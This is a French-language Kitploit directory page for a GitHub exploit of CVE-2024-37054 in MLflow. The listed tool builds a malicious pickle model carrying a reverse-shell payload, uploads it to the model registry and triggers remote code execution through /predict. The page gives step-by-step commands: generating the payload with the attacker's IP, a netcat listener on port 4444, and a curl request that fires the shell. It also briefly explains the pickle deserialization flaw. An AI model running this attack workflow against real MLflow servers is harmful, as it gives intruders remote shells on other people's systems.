Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/spydomain/cve-2024-37054-mlflow-reverse-shell
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubspydomain/cve-2024-37054-mlflow-reverse-shell

CVE-2024-37054-MLflow-reverse-shell

Exploit pour CVE-2024-37054 : génère un modèle pickle malveillant, le téléverse sur MLflow et déclenche une exécution de code à distance via le point de terminaison /predict.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Outils et fichiers


FichierObjectif
generate_model.pyGénère un model.pkl malveillant avec une charge utile de shell inversé
upload_model.pyTéléverse le pickle dans MLflow et le promeut en Production
sample.csvFichier CSV utilisé pour déclencher le point de terminaison /predict

Utilisation

1. Générer le pickle malveillant

Modifiez generate_model.py et définissez votre IP tun0 :

root@kitploit:~
python3 generate_model.py

2. Démarrer un listener

root@kitploit:~
nc -lvnp 4444

3. Téléverser le modèle malveillant

Modifiez upload_model.py :

  • Définissez MLFLOW sur http://127.0.0.1:5000
  • Définissez MODEL_NAME sur le nom du modèle actif trouvé sur le domaine principal
root@kitploit:~
python3 upload_model.py

4. Déclencher l'exécution

Obtenez un nouveau cookie de session depuis l'application cliente, puis :

root@kitploit:~
curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

Le shell est reçu sur votre listener.


Vulnérabilité clé

Désérialisation Pickle via le MLflow Model Registry

MLflow charge les modèles enregistrés en utilisant pickle.load() de Python. En téléversant un pickle conçu comme artefact de modèle et en le promouvant en Production, tout appel ultérieur à /predict désérialise la charge utile côté serveur, permettant une exécution de code à distance (RCE) non authentifiée en tant qu'utilisateur de l'application.

Références

  • Documentation de l'API REST MLflow
  • Désérialisation Pickle en Python
Télécharger l’outil